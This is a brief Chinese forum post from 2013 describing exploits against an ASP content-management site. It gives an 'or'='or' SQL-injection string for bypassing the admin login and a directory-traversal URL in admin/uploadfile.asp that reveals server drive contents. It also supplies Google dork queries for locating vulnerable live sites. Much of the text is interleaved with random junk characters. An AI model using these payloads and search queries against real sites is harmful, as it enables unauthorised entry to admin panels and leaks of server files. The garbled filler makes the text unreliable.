后台万能密码 'or'='or'& s) ^$ R, c% N) Z
3 q' Z- w6 N7 p: _3 R- p7 `2 C) x后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
# f/ g T8 s/ c; R0 badmin/uploadfile.asp?currentFolder=/upfiles/../( u1 w7 ]3 d5 }. I* e% e I
6 R8 L/ b+ Q3 e5 w7 ^" i漏洞证明：9 D3 a! f2 j$ n6 X
8 ^+ G: r8 E9 H+ ~$ s$ ?% g
谷歌：inurl:type.asp?id=1 新闻中心. k1 M8 G" Q9 u7 j0 N6 I
或者 ：inurl:download_ok.asp?
% ^; K2 a) T F1 u
3 `7 l) b) L% t& G+ M |
发表于 2013-3-14 20:17:32
收藏
支持
反对